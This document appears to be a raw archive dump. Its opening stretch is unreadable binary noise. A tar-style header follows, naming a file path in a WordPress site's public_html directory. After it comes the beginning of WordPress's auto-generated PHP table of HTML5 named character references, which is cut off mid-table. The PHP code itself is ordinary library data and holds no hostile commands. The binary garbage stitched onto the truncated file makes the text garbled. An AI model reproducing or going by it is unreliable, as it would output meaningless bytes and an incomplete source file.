kEwR�Z�gjUU���N%�6y���DN�����w��,[s*"ӻY�\™�L�P 5=l�a�d�:�l�T��g��`�?HB�k��1ak��RLi�����D�q<hU�}��5�0֘,q-r=M�\�{��<`��U;��0�(�}�O��&�k���Wwv1�ܛ[�-ȂJ��
H:�d�k]ײ{(��ӬdM
ȧ}'�����+,���J�]�r �o7�8i:� Ki�ט0�K�´c�9(��n�c�}'�E+M7�x��Ҍ맸Mo	��t-n���Y\��4��S��I^��qތ�Gگ���$����L�C6�"�$��;��%��
�۶�+%�{F�w�����+��/I�qvu��z��0K�ŭ֞nם}ϙ��V��;����Q]&�҂_���ݯ����p����'�@�	���vQ笴��|�'Jmk��-tv?rsZ��P�N�G��V�\n���f�<��M�
��!��\�����>_�!�����s^I7zh����Ҷ2VK��Ð%yj4�I�;{���5�E��3D�_��d����<7���h�⇇�|�۰
��x�j*�R���D;�l(sE8=Oy��I%/��;����s���H�(�Un�G�a����(Q��]���O���$���B�tnAx'�Z�ՉZ)�2�Gj`�?��N�?����ڼ�V9�mܛB&�VK����&�h�������*�H�d;/�J寈:��{'����nr���uiѝŪ\,�#�5=�]1�D5��`
:�7
�р��l�YS�Pؕ�s@|�mŗ��]�����4�%��xi�ˤ�?�R�5S�q��^������e�������M��?_~��q���p1��f��:�Qbv4CFh�-�M��fQ+���T3?���)y�^��Ɣ���	Wj���L�;ivV<�Ȃk=6sKSl�k�ni�A56agF�C�S�����ė��h���Zc�Ǻ��Q�O��J�C�D�UouzVÎh<����ŤA�91E�Nep�>��I��:k�Z�,4����)����k��}����dGeܥ�!����/�BT:۷<73�U�F�9��$}���4���W�x��s9C1���$;��h�z4S���<h����Z�8���ʫIëC�\6��N󄡴�?�_/P��{�h��r����!��0�q8��ȏ�<OH�
�7b5i� %4;�;�s
,`O�rq>�(x.��u�d+"��}�(���[K�����
��M�Ȯy�v\K��„�ڄ:ʶ)Rbvl�v�_�����bm�-
���C���otZ����MP�_�(��+{�𪖮��!:�*��m妷��#Za=K �ײXz�j�`zz>W7wfB�!�wY�d��z6S�x.f\v�泬*Jv\�s��\���ɝ�6u�
)Z\����VX<Tg�]�-��V�KѠ7�Nm�XgEIy��?<d���T@���*� �O��PQ8y�p�j�[h�h�&%/��0Q'q�F
��F�F�M��ױUXQ����,�J����
�@��"]Ϲ��V-f5d�[[Y�i �2���Nm�|�ɞ�P�����?u-p��LtX����b�O�v�gb�5�~�A����j�V�k���<�"�(��^�UPv��.^�fQ`���{�N�]���1�E��z����?cp�����e:�A@���bc
�v8�{؜���.���?1_}���EZ&�ЮZ���ރ�H�F/{�#���u�q��eUR�Į����o�n~�W���yk&=�D�@��y>T���uq„4R(X��}�\a^�K����<��c���F�y?ڶa�
ݬD[�P�o��˫d�(���-b�P�O炯��/�|�$ʇE�MO�����'}�:f��[���-�}4o�=�4�;���S�����rȟ����q�;��/�O�*�A���y���B���>�V�&�j�皑uI;+z�Z���t��-ԗ�V��3��m{�s����[.\�ي�V�C����n��尤�m��:��%W��r-�ى<���������3~�D�,�ڈ��`c#���2%l��D�aq�P@j���uj�>@"?-��t��Y
A@X�Q�U�����X�q�����^��O��ɷ�2<���V<��ً��p��=D���vܐ��u�0f�a��n�K�5W�
�F�lI��r�7̒�PYȕ)ֵ��.1+��b0�(�m��F�^��崜c�r)`�&��kf��c2}t%�̈�؃��ǩ]�[�}��;u\&J�.n3vC%n,Z�n�0I�n���X�Τ^���8 k�L�V�+�N��2k��.�o.��N�S-�bP�i��OosH	��1�y$�}����<��>*srU�_+�dz��p�D�5k�
	A�����@���)����L�B�Z���nkz�n}̤8���ޱ\+.�[�{� �?� ���A}ֽ�6�%��-��*Y�OC�=��-DjQ���.�BV�*0X$�X�Z�������pdù����Q~a=:&�,�=���^/�,��gU�?c��ϧ8�ۯő}=.%F�K*���9���f_$��;�E,�q���G�ǡF�:4��8Y��]k�=���م�>w�|��p�߲oX_I�d�`���w��ۭu��\'�Ҏ&�MX9�g���{ycL���^������n���9��]7����s4��:NpW�IJ�G�c�3n�C7`��MG=�ZrAԓ�b:��̠��WJ�_4��~5\TM���3�{ ��bLv�#�%��i~�-�B�Ɲ������7gO���XN�Wډ�vĤ.����{�'�(W��e�b�b��q�b~5%s'�)�29ZL�Yu�V#�Q�۞Ua ��E�AX;W-S�G�rt���Jp�`F�(+!h75��,t�D�f���<NͼR�iR�����V�'�s��l���b�0�!����n��<R����L���������������C��?��E�"PKYO\TFė@@+10/html5-named-character-references.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/html5-named-character-references.php000064400000234443151440300060024445 0ustar00<?php

/**
 * Auto-generated class for looking up HTML named character references.
 *
 * ⚠️ !!! THIS ENTIRE FILE IS AUTOMATICALLY GENERATED !!! ⚠️
 * Do not modify this file directly.
 *
 * To regenerate, run the generation script directly.
 *
 * Example:
 *
 *     php tests/phpunit/data/html5-entities/generate-html5-named-character-references.php
 *
 * @package WordPress
 * @since 6.6.0
 */

// phpcs:disable

global $html5_named_character_references;

/**
 * Set of named character references in the HTML5 specification.
 *
 * This list will never change, according to the spec. Each named
 * character reference is case-sensitive and the presence or absence
 * of the semicolon is significant. Without the semicolon, the rules
 * for an ambiguous ampersand govern whether the following text is
 * to be interpreted as a character reference or not.
 *
 * The list of entities is sourced directly from the WHATWG server
 * and cached in the test directory to avoid needing to download it
 * every time this file is updated.
 *
 * @link https://html.spec.whatwg.org/entities.json.
 */
$html5_named_character_references = WP_Token_Map::from_precomputed_table(
	array(
		"storage_version" => "6.6.0-trunk",
		"key_length" => 2,
		"groups" => "AE\x00AM\x00Aa\x00Ab\x00Ac\x00Af\x00Ag\x00Al\x00Am\x00An\x00Ao\x00Ap\x00Ar\x00As\x00At\x00Au\x00Ba\x00Bc\x00Be\x00Bf\x00Bo\x00Br\x00Bs\x00Bu\x00CH\x00CO\x00Ca\x00Cc\x00Cd\x00Ce\x00Cf\x00Ch\x00Ci\x00Cl\x00Co\x00Cr\x00Cs\x00Cu\x00DD\x00DJ\x00DS\x00DZ\x00Da\x00Dc\x00De\x00Df\x00Di\x00Do\x00Ds\x00EN\x00ET\x00Ea\x00Ec\x00Ed\x00Ef\x00Eg\x00El\x00Em\x00Eo\x00Ep\x00Eq\x00Es\x00Et\x00Eu\x00Ex\x00Fc\x00Ff\x00Fi\x00Fo\x00Fs\x00GJ\x00GT\x00Ga\x00Gb\x00Gc\x00Gd\x00Gf\x00Gg\x00Go\x00Gr\x00Gs\x00Gt\x00HA\x00Ha\x00Hc\x00Hf\x00Hi\x00Ho\x00Hs\x00Hu\x00IE\x00IJ\x00IO\x00Ia\x00Ic\x00Id\x00If\x00Ig\x00Im\x00In\x00Io\x00Is\x00It\x00Iu\x00Jc\x00Jf\x00Jo\x00Js\x00Ju\x00KH\x00KJ\x00Ka\x00Kc\x00Kf\x00Ko\x00Ks\x00LJ\x00LT\x00La\x00Lc\x00Le\x00Lf\x00Ll\x00Lm\x00Lo\x00Ls\x00Lt\x00Ma\x00Mc\x00Me\x00Mf\x00Mi\x00Mo\x00Ms\x00Mu\x00NJ\x00Na\x00Nc\x00Ne\x00Nf\x00No\x00Ns\x00Nt\x00Nu\x00OE\x00Oa\x00Oc\x00Od\x00Of\x00Og\x00Om\x00Oo\x00Op\x00Or\x00Os\x00Ot\x00Ou\x00Ov\x00Pa\x00Pc\x00Pf\x00Ph\x00Pi\x00Pl\x00Po\x00Pr\x00Ps\x00QU\x00Qf\x00Qo\x00Qs\x00RB\x00RE\x00Ra\x00Rc\x00Re\x00Rf\x00Rh\x00Ri\x00Ro\x00Rr\x00Rs\x00Ru\x00SH\x00SO\x00Sa\x00Sc\x00Sf\x00Sh\x00Si\x00Sm\x00So\x00Sq\x00Ss\x00St\x00Su\x00TH\x00TR\x00TS\x00Ta\x00Tc\x00Tf\x00Th\x00Ti\x00To\x00Tr\x00Ts\x00Ua\x00Ub\x00Uc\x00Ud\x00Uf\x00Ug\x00Um\x00Un\x00Uo\x00Up\x00Ur\x00Us\x00Ut\x00Uu\x00VD\x00Vb\x00Vc\x00Vd\x00Ve\x00Vf\x00Vo\x00Vs\x00Vv\x00Wc\x00We\x00Wf\x00Wo\x00Ws\x00Xf\x00Xi\x00Xo\x00Xs\x00YA\x00YI\x00YU\x00Ya\x00Yc\x00Yf\x00Yo\x00Ys\x00Yu\x00ZH\x00Za\x00Zc\x00Zd\x00Ze\x00Zf\x00Zo\x00Zs\x00aa\x00ab\x00ac\x00ae\x00af\x00ag\x00al\x00am\x00an\x00ao\x00ap\x00ar\x00as\x00at\x00au\x00aw\x00bN\x00ba\x00bb\x00bc\x00bd\x00be\x00bf\x00bi\x00bk\x00bl\x00bn\x00bo\x00bp\x00br\x00bs\x00bu\x00ca\x00cc\x00cd\x00ce\x00cf\x00ch\x00ci\x00cl\x00co\x00cr\x00cs\x00ct\x00cu\x00cw\x00cy\x00dA\x00dH\x00da\x00db\x00dc\x00dd\x00de\x00df\x00dh\x00di\x00dj\x00dl\x00do\x00dr\x00ds\x00dt\x00du\x00dw\x00dz\x00eD\x00ea\x00ec\x00ed\x00ee\x00ef\x00eg\x00el\x00em\x00en\x00eo\x00ep\x00eq\x00er\x00es\x00et\x00eu\x00ex\x00fa\x00fc\x00fe\x00ff\x00fi\x00fj\x00fl\x00fn\x00fo\x00fp\x00fr\x00fs\x00gE\x00ga\x00gb\x00gc\x00gd\x00ge\x00gf\x00gg\x00gi\x00gj\x00gl\x00gn\x00go\x00gr\x00gs\x00gt\x00gv\x00hA\x00ha\x00hb\x00hc\x00he\x00hf\x00hk\x00ho\x00hs\x00hy\x00ia\x00ic\x00ie\x00if\x00ig\x00ii\x00ij\x00im\x00in\x00io\x00ip\x00iq\x00is\x00it\x00iu\x00jc\x00jf\x00jm\x00jo\x00js\x00ju\x00ka\x00kc\x00kf\x00kg\x00kh\x00kj\x00ko\x00ks\x00lA\x00lB\x00lE\x00lH\x00la\x00lb\x00lc\x00ld\x00le\x00lf\x00lg\x00lh\x00lj\x00ll\x00lm\x00ln\x00lo\x00lp\x00lr\x00ls\x00lt\x00lu\x00lv\x00mD\x00ma\x00mc\x00md\x00me\x00mf\x00mh\x00mi\x00ml\x00mn\x00mo\x00mp\x00ms\x00mu\x00nG\x00nL\x00nR\x00nV\x00na\x00nb\x00nc\x00nd\x00ne\x00nf\x00ng\x00nh\x00ni\x00nj\x00nl\x00nm\x00no\x00np\x00nr\x00ns\x00nt\x00nu\x00nv\x00nw\x00oS\x00oa\x00oc\x00od\x00oe\x00of\x00og\x00oh\x00oi\x00ol\x00om\x00oo\x00op\x00or\x00os\x00ot\x00ou\x00ov\x00pa\x00pc\x00pe\x00pf\x00ph\x00pi\x00pl\x00pm\x00po\x00pr\x00ps\x00pu\x00qf\x00qi\x00qo\x00qp\x00qs\x00qu\x00rA\x00rB\x00rH\x00ra\x00rb\x00rc\x00rd\x00re\x00rf\x00rh\x00ri\x00rl\x00rm\x00rn\x00ro\x00rp\x00rr\x00rs\x00rt\x00ru\x00rx\x00sa\x00sb\x00sc\x00sd\x00se\x00sf\x00sh\x00si\x00sl\x00sm\x00so\x00sp\x00sq\x00sr\x00ss\x00st\x00su\x00sw\x00sz\x00ta\x00tb\x00tc\x00td\x00te\x00tf\x00th\x00ti\x00to\x00tp\x00tr\x00ts\x00tw\x00uA\x00uH\x00ua\x00ub\x00uc\x00ud\x00uf\x00ug\x00uh\x00ul\x00um\x00uo\x00up\x00ur\x00us\x00ut\x00uu\x00uw\x00vA\x00vB\x00vD\x00va\x00vc\x00vd\x00ve\x00vf\x00vl\x00vn\x00vo\x00vp\x00vr\x00vs\x00vz\x00wc\x00we\x00wf\x00wo\x00wp\x00wr\x00ws\x00xc\x00xd\x00xf\x00xh\x00xi\x00xl\x00xm\x00xn\x00xo\x00xr\x00xs\x00xu\x00xv\x00xw\x00ya\x00yc\x00ye\x00yf\x00yi\x00yo\x00ys\x00yu\x00za\x00zc\x00zd\x00ze\x00zf\x00zh\x00zi\x00zo\x00zs\x00zw\x00",
		"large_words" => array(
			// AElig;[Æ] AElig[Æ].
			"\x04lig;\x02Æ\x03lig\x02Æ",
			// AMP;[&] AMP[&].
			"\x02P;\x01&\x01P\x01&",
			// Aacute;[Á] Aacute[Á].
			"\x05cute;\x02Á\x04cute\x02Á",
			// Abreve;[Ă].
			"\x05reve;\x02Ă",
			// Acirc;[Â] Acirc[Â] Acy;[А].
			"\x04irc;\x02Â\x03irc\x02Â\x02y;\x02А",
			// Afr;[𝔄].
			"\x02r;\x04𝔄",
			// Agrave;[À] Agrave[À].
			"\x05rave;\x02À\x04rave\x02À",
			// Alpha;[Α].
			"\x04pha;\x02Α",
			// Amacr;[Ā].
			"\x04acr;\x02Ā",
			// And;[⩓].
			"\x02d;\x03⩓",
			// Aogon;[Ą] Aopf;[𝔸].
			"\x04gon;\x02Ą\x03pf;\x04𝔸",
			// ApplyFunction;[⁡].
			"\x0cplyFunction;\x03⁡",
			// Aring;[Å] Aring[Å].
			"\x04ing;\x02Å\x03ing\x02Å",
			// Assign;[≔] Ascr;[𝒜].
			"\x05sign;\x03≔\x03cr;\x04𝒜",
			// Atilde;[Ã] Atilde[Ã].
			"\x05ilde;\x02Ã\x04ilde\x02Ã",
			// Auml;[Ä] Auml[Ä].
			"\x03ml;\x02Ä\x02ml\x02Ä",
			// Backslash;[∖] Barwed;[⌆] Barv;[⫧].
			"\x08ckslash;\x03∖\x05rwed;\x03⌆\x03rv;\x03⫧",
			// Bcy;[Б].
			"\x02y;\x02Б",
			// Bernoullis;[ℬ] Because;[∵] Beta;[Β].
			"\x09rnoullis;\x03ℬ\x06cause;\x03∵\x03ta;\x02Β",
			// Bfr;[𝔅].
			"\x02r;\x04𝔅",
			// Bopf;[𝔹].
			"\x03pf;\x04𝔹",
			// Breve;[˘].
			"\x04eve;\x02˘",
			// Bscr;[ℬ].
			"\x03cr;\x03ℬ",
			// Bumpeq;[≎].
			"\x05mpeq;\x03≎",
			// CHcy;[Ч].
			"\x03cy;\x02Ч",
			// COPY;[©] COPY[©].
			"\x03PY;\x02©\x02PY\x02©",
			// CapitalDifferentialD;[ⅅ] Cayleys;[ℭ] Cacute;[Ć] Cap;[⋒].
			"\x13pitalDifferentialD;\x03ⅅ\x06yleys;\x03ℭ\x05cute;\x02Ć\x02p;\x03⋒",
			// Cconint;[∰] Ccaron;[Č] Ccedil;[Ç] Ccedil[Ç] Ccirc;[Ĉ].
			"\x06onint;\x03∰\x05aron;\x02Č\x05edil;\x02Ç\x04edil\x02Ç\x04irc;\x02Ĉ",
			// Cdot;[Ċ].
			"\x03ot;\x02Ċ",
			// CenterDot;[·] Cedilla;[¸].
			"\x08nterDot;\x02·\x06dilla;\x02¸",
			// Cfr;[ℭ].
			"\x02r;\x03ℭ",
			// Chi;[Χ].
			"\x02i;\x02Χ",
			// CircleMinus;[⊖] CircleTimes;[⊗] CirclePlus;[⊕] CircleDot;[⊙].
			"\x0arcleMinus;\x03⊖\x0arcleTimes;\x03⊗\x09rclePlus;\x03⊕\x08rcleDot;\x03⊙",
			// ClockwiseContourIntegral;[∲] CloseCurlyDoubleQuote;[”] CloseCurlyQuote;[’].
			"\x17ockwiseContourIntegral;\x03∲\x14oseCurlyDoubleQuote;\x03”\x0eoseCurlyQuote;\x03’",
			// CounterClockwiseContourIntegral;[∳] ContourIntegral;[∮] Congruent;[≡] Coproduct;[∐] Colone;[⩴] Conint;[∯] Colon;[∷] Copf;[ℂ].
			"\x1eunterClockwiseContourIntegral;\x03∳\x0entourIntegral;\x03∮\x08ngruent;\x03≡\x08product;\x03∐\x05lone;\x03⩴\x05nint;\x03∯\x04lon;\x03∷\x03pf;\x03ℂ",
			// Cross;[⨯].
			"\x04oss;\x03⨯",
			// Cscr;[𝒞].
			"\x03cr;\x04𝒞",
			// CupCap;[≍] Cup;[⋓].
			"\x05pCap;\x03≍\x02p;\x03⋓",
			// DDotrahd;[⤑] DD;[ⅅ].
			"\x07otrahd;\x03⤑\x01;\x03ⅅ",
			// DJcy;[Ђ].
			"\x03cy;\x02Ђ",
			// DScy;[Ѕ].
			"\x03cy;\x02Ѕ",
			// DZcy;[Џ].
			"\x03cy;\x02Џ",
			// Dagger;[‡] Dashv;[⫤] Darr;[↡].
			"\x05gger;\x03‡\x04shv;\x03⫤\x03rr;\x03↡",
			// Dcaron;[Ď] Dcy;[Д].
			"\x05aron;\x02Ď\x02y;\x02Д",
			// Delta;[Δ] Del;[∇].
			"\x04lta;\x02Δ\x02l;\x03∇",
			// Dfr;[𝔇].
			"\x02r;\x04𝔇",
			// DiacriticalDoubleAcute;[˝] DiacriticalAcute;[´] DiacriticalGrave;[`] DiacriticalTilde;[˜] DiacriticalDot;[˙] DifferentialD;[ⅆ] Diamond;[⋄].
			"\x15acriticalDoubleAcute;\x02˝\x0facriticalAcute;\x02´\x0facriticalGrave;\x01`\x0facriticalTilde;\x02˜\x0dacriticalDot;\x02˙\x0cfferentialD;\x03ⅆ\x06amond;\x03⋄",
			// DoubleLongLeftRightArrow;[⟺] DoubleContourIntegral;[∯] DoubleLeftRightArrow;[⇔] DoubleLongRightArrow;[⟹] DoubleLongLeftArrow;[⟸] DownLeftRightVector;[⥐] DownRightTeeVector;[⥟] DownRightVectorBar;[⥗] DoubleUpDownArrow;[⇕] DoubleVerticalBar;[∥] DownLeftTeeVector;[⥞] DownLeftVectorBar;[⥖] DoubleRightArrow;[⇒] DownArrowUpArrow;[⇵] DoubleDownArrow;[⇓] DoubleLeftArrow;[⇐] DownRightVector;[⇁] DoubleRightTee;[⊨] DownLeftVector;[↽] DoubleLeftTee;[⫤] DoubleUpArrow;[⇑] DownArrowBar;[⤓] DownTeeArrow;[↧] DoubleDot;[¨] DownArrow;[↓] DownBreve;[̑] Downarrow;[⇓] DotEqual;[≐] DownTee;[⊤] DotDot;[⃜] Dopf;[𝔻] Dot;[¨].
			"\x17ubleLongLeftRightArrow;\x03⟺\x14ubleContourIntegral;\x03∯\x13ubleLeftRightArrow;\x03⇔\x13ubleLongRightArrow;\x03⟹\x12ubleLongLeftArrow;\x03⟸\x12wnLeftRightVector;\x03⥐\x11wnRightTeeVector;\x03⥟\x11wnRightVectorBar;\x03⥗\x10ubleUpDownArrow;\x03⇕\x10ubleVerticalBar;\x03∥\x10wnLeftTeeVector;\x03⥞\x10wnLeftVectorBar;\x03⥖\x0fubleRightArrow;\x03⇒\x0fwnArrowUpArrow;\x03⇵\x0eubleDownArrow;\x03⇓\x0eubleLeftArrow;\x03⇐\x0ewnRightVector;\x03⇁\x0dubleRightTee;\x03⊨\x0dwnLeftVector;\x03↽\x0cubleLeftTee;\x03⫤\x0cubleUpArrow;\x03⇑\x0bwnArrowBar;\x03⤓\x0bwnTeeArrow;\x03↧\x08ubleDot;\x02¨\x08wnArrow;\x03↓\x08wnBreve;\x02̑\x08wnarrow;\x03⇓\x07tEqual;\x03≐\x06wnTee;\x03⊤\x05tDot;\x03⃜\x03pf;\x04𝔻\x02t;\x02¨",
			// Dstrok;[Đ] Dscr;[𝒟].
			"\x05trok;\x02Đ\x03cr;\x04𝒟",
			// ENG;[Ŋ].
			"\x02G;\x02Ŋ",
			// ETH;[Ð] ETH[Ð].
			"\x02H;\x02Ð\x01H\x02Ð",
			// Eacute;[É] Eacute[É].
			"\x05cute;\x02É\x04cute\x02É",
			// Ecaron;[Ě] Ecirc;[Ê] Ecirc[Ê] Ecy;[Э].
			"\x05aron;\x02Ě\x04irc;\x02Ê\x03irc\x02Ê\x02y;\x02Э",
			// Edot;[Ė].
			"\x03ot;\x02Ė",
			// Efr;[𝔈].
			"\x02r;\x04𝔈",
			// Egrave;[È] Egrave[È].
			"\x05rave;\x02È\x04rave\x02È",
			// Element;[∈].
			"\x06ement;\x03∈",
			// EmptyVerySmallSquare;[▫] EmptySmallSquare;[◻] Emacr;[Ē].
			"\x13ptyVerySmallSquare;\x03▫\x0fptySmallSquare;\x03◻\x04acr;\x02Ē",
			// Eogon;[Ę] Eopf;[𝔼].
			"\x04gon;\x02Ę\x03pf;\x04𝔼",
			// Epsilon;[Ε].
			"\x06silon;\x02Ε",
			// Equilibrium;[⇌] EqualTilde;[≂] Equal;[⩵].
			"\x0auilibrium;\x03⇌\x09ualTilde;\x03≂\x04ual;\x03⩵",
			// Escr;[ℰ] Esim;[⩳].
			"\x03cr;\x03ℰ\x03im;\x03⩳",
			// Eta;[Η].
			"\x02a;\x02Η",
			// Euml;[Ë] Euml[Ë].
			"\x03ml;\x02Ë\x02ml\x02Ë",
			// ExponentialE;[ⅇ] Exists;[∃].
			"\x0bponentialE;\x03ⅇ\x05ists;\x03∃",
			// Fcy;[Ф].
			"\x02y;\x02Ф",
			// Ffr;[𝔉].
			"\x02r;\x04𝔉",
			// FilledVerySmallSquare;[▪] FilledSmallSquare;[◼].
			"\x14lledVerySmallSquare;\x03▪\x10lledSmallSquare;\x03◼",
			// Fouriertrf;[ℱ] ForAll;[∀] Fopf;[𝔽].
			"\x09uriertrf;\x03ℱ\x05rAll;\x03∀\x03pf;\x04𝔽",
			// Fscr;[ℱ].
			"\x03cr;\x03ℱ",
			// GJcy;[Ѓ].
			"\x03cy;\x02Ѓ",
			// GT;[>].
			"\x01;\x01>",
			// Gammad;[Ϝ] Gamma;[Γ].
			"\x05mmad;\x02Ϝ\x04mma;\x02Γ",
			// Gbreve;[Ğ].
			"\x05reve;\x02Ğ",
			// Gcedil;[Ģ] Gcirc;[Ĝ] Gcy;[Г].
			"\x05edil;\x02Ģ\x04irc;\x02Ĝ\x02y;\x02Г",
			// Gdot;[Ġ].
			"\x03ot;\x02Ġ",
			// Gfr;[𝔊].
			"\x02r;\x04𝔊",
			// Gg;[⋙].
			"\x01;\x03⋙",
			// Gopf;[𝔾].
			"\x03pf;\x04𝔾",
			// GreaterSlantEqual;[⩾] GreaterEqualLess;[⋛] GreaterFullEqual;[≧] GreaterGreater;[⪢] GreaterEqual;[≥] GreaterTilde;[≳] GreaterLess;[≷].
			"\x10eaterSlantEqual;\x03⩾\x0featerEqualLess;\x03⋛\x0featerFullEqual;\x03≧\x0deaterGreater;\x03⪢\x0beaterEqual;\x03≥\x0beaterTilde;\x03≳\x0aeaterLess;\x03≷",
			// Gscr;[𝒢].
			"\x03cr;\x04𝒢",
			// Gt;[≫].
			"\x01;\x03≫",
			// HARDcy;[Ъ].
			"\x05RDcy;\x02Ъ",
			// Hacek;[ˇ] Hat;[^].
			"\x04cek;\x02ˇ\x02t;\x01^",
			// Hcirc;[Ĥ].
			"\x04irc;\x02Ĥ",
			// Hfr;[ℌ].
			"\x02r;\x03ℌ",
			// HilbertSpace;[ℋ].
			"\x0blbertSpace;\x03ℋ",
			// HorizontalLine;[─] Hopf;[ℍ].
			"\x0drizontalLine;\x03─\x03pf;\x03ℍ",
			// Hstrok;[Ħ] Hscr;[ℋ].
			"\x05trok;\x02Ħ\x03cr;\x03ℋ",
			// HumpDownHump;[≎] HumpEqual;[≏].
			"\x0bmpDownHump;\x03≎\x08mpEqual;\x03≏",
			// IEcy;[Е].
			"\x03cy;\x02Е",
			// IJlig;[IJ].
			"\x04lig;\x02IJ",
			// IOcy;[Ё].
			"\x03cy;\x02Ё",
			// Iacute;[Í] Iacute[Í].
			"\x05cute;\x02Í\x04cute\x02Í",
			// Icirc;[Î] Icirc[Î] Icy;[И].
			"\x04irc;\x02Î\x03irc\x02Î\x02y;\x02И",
			// Idot;[İ].
			"\x03ot;\x02İ",
			// Ifr;[ℑ].
			"\x02r;\x03ℑ",
			// Igrave;[Ì] Igrave[Ì].
			"\x05rave;\x02Ì\x04rave\x02Ì",
			// ImaginaryI;[ⅈ] Implies;[⇒] Imacr;[Ī] Im;[ℑ].
			"\x09aginaryI;\x03ⅈ\x06plies;\x03⇒\x04acr;\x02Ī\x01;\x03ℑ",
			// InvisibleComma;[⁣] InvisibleTimes;[⁢] Intersection;[⋂] Integral;[∫] Int;[∬].
			"\x0dvisibleComma;\x03⁣\x0dvisibleTimes;\x03⁢\x0btersection;\x03⋂\x07tegral;\x03∫\x02t;\x03∬",
			// Iogon;[Į] Iopf;[𝕀] Iota;[Ι].
			"\x04gon;\x02Į\x03pf;\x04𝕀\x03ta;\x02Ι",
			// Iscr;[ℐ].
			"\x03cr;\x03ℐ",
			// Itilde;[Ĩ].
			"\x05ilde;\x02Ĩ",
			// Iukcy;[І] Iuml;[Ï] Iuml[Ï].
			"\x04kcy;\x02І\x03ml;\x02Ï\x02ml\x02Ï",
			// Jcirc;[Ĵ] Jcy;[Й].
			"\x04irc;\x02Ĵ\x02y;\x02Й",
			// Jfr;[𝔍].
			"\x02r;\x04𝔍",
			// Jopf;[𝕁].
			"\x03pf;\x04𝕁",
			// Jsercy;[Ј] Jscr;[𝒥].
			"\x05ercy;\x02Ј\x03cr;\x04𝒥",
			// Jukcy;[Є].
			"\x04kcy;\x02Є",
			// KHcy;[Х].
			"\x03cy;\x02Х",
			// KJcy;[Ќ].
			"\x03cy;\x02Ќ",
			// Kappa;[Κ].
			"\x04ppa;\x02Κ",
			// Kcedil;[Ķ] Kcy;[К].
			"\x05edil;\x02Ķ\x02y;\x02К",
			// Kfr;[𝔎].
			"\x02r;\x04𝔎",
			// Kopf;[𝕂].
			"\x03pf;\x04𝕂",
			// Kscr;[𝒦].
			"\x03cr;\x04𝒦",
			// LJcy;[Љ].
			"\x03cy;\x02Љ",
			// LT;[<].
			"\x01;\x01<",
			// Laplacetrf;[ℒ] Lacute;[Ĺ] Lambda;[Λ] Lang;[⟪] Larr;[↞].
			"\x09placetrf;\x03ℒ\x05cute;\x02Ĺ\x05mbda;\x02Λ\x03ng;\x03⟪\x03rr;\x03↞",
			// Lcaron;[Ľ] Lcedil;[Ļ] Lcy;[Л].
			"\x05aron;\x02Ľ\x05edil;\x02Ļ\x02y;\x02Л",
			// LeftArrowRightArrow;[⇆] LeftDoubleBracket;[⟦] LeftDownTeeVector;[⥡] LeftDownVectorBar;[⥙] LeftTriangleEqual;[⊴] LeftAngleBracket;[⟨] LeftUpDownVector;[⥑] LessEqualGreater;[⋚] LeftRightVector;[⥎] LeftTriangleBar;[⧏] LeftUpTeeVector;[⥠] LeftUpVectorBar;[⥘] LeftDownVector;[⇃] LeftRightArrow;[↔] Leftrightarrow;[⇔] LessSlantEqual;[⩽] LeftTeeVector;[⥚] LeftVectorBar;[⥒] LessFullEqual;[≦] LeftArrowBar;[⇤] LeftTeeArrow;[↤] LeftTriangle;[⊲] LeftUpVector;[↿] LeftCeiling;[⌈] LessGreater;[≶] LeftVector;[↼] LeftArrow;[←] LeftFloor;[⌊] Leftarrow;[⇐] LessTilde;[≲] LessLess;[⪡] LeftTee;[⊣].
			"\x12ftArrowRightArrow;\x03⇆\x10ftDoubleBracket;\x03⟦\x10ftDownTeeVector;\x03⥡\x10ftDownVectorBar;\x03⥙\x10ftTriangleEqual;\x03⊴\x0fftAngleBracket;\x03⟨\x0fftUpDownVector;\x03⥑\x0fssEqualGreater;\x03⋚\x0eftRightVector;\x03⥎\x0eftTriangleBar;\x03⧏\x0eftUpTeeVector;\x03⥠\x0eftUpVectorBar;\x03⥘\x0dftDownVector;\x03⇃\x0dftRightArrow;\x03↔\x0dftrightarrow;\x03⇔\x0dssSlantEqual;\x03⩽\x0cftTeeVector;\x03⥚\x0cftVectorBar;\x03⥒\x0cssFullEqual;\x03≦\x0bftArrowBar;\x03⇤\x0bftTeeArrow;\x03↤\x0bftTriangle;\x03⊲\x0bftUpVector;\x03↿\x0aftCeiling;\x03⌈\x0assGreater;\x03≶\x09ftVector;\x03↼\x08ftArrow;\x03←\x08ftFloor;\x03⌊\x08ftarrow;\x03⇐\x08ssTilde;\x03≲\x07ssLess;\x03⪡\x06ftTee;\x03⊣",
			// Lfr;[𝔏].
			"\x02r;\x04𝔏",
			// Lleftarrow;[⇚] Ll;[⋘].
			"\x09eftarrow;\x03⇚\x01;\x03⋘",
			// Lmidot;[Ŀ].
			"\x05idot;\x02Ŀ",
			// LongLeftRightArrow;[⟷] Longleftrightarrow;[⟺] LowerRightArrow;[↘] LongRightArrow;[⟶] Longrightarrow;[⟹] LowerLeftArrow;[↙] LongLeftArrow;[⟵] Longleftarrow;[⟸] Lopf;[𝕃].
			"\x11ngLeftRightArrow;\x03⟷\x11ngleftrightarrow;\x03⟺\x0ewerRightArrow;\x03↘\x0dngRightArrow;\x03⟶\x0dngrightarrow;\x03⟹\x0dwerLeftArrow;\x03↙\x0cngLeftArrow;\x03⟵\x0cngleftarrow;\x03⟸\x03pf;\x04𝕃",
			// Lstrok;[Ł] Lscr;[ℒ] Lsh;[↰].
			"\x05trok;\x02Ł\x03cr;\x03ℒ\x02h;\x03↰",
			// Lt;[≪].
			"\x01;\x03≪",
			// Map;[⤅].
			"\x02p;\x03⤅",
			// Mcy;[М].
			"\x02y;\x02М",
			// MediumSpace;[ ] Mellintrf;[ℳ].
			"\x0adiumSpace;\x03 \x08llintrf;\x03ℳ",
			// Mfr;[𝔐].
			"\x02r;\x04𝔐",
			// MinusPlus;[∓].
			"\x08nusPlus;\x03∓",
			// Mopf;[𝕄].
			"\x03pf;\x04𝕄",
			// Mscr;[ℳ].
			"\x03cr;\x03ℳ",
			// Mu;[Μ].
			"\x01;\x02Μ",
			// NJcy;[Њ].
			"\x03cy;\x02Њ",
			// Nacute;[Ń].
			"\x05cute;\x02Ń",
			// Ncaron;[Ň] Ncedil;[Ņ] Ncy;[Н].
			"\x05aron;\x02Ň\x05edil;\x02Ņ\x02y;\x02Н",
			// NegativeVeryThinSpace;[​] NestedGreaterGreater;[≫] NegativeMediumSpace;[​] NegativeThickSpace;[​] NegativeThinSpace;[​] NestedLessLess;[≪] NewLine;[\xa].
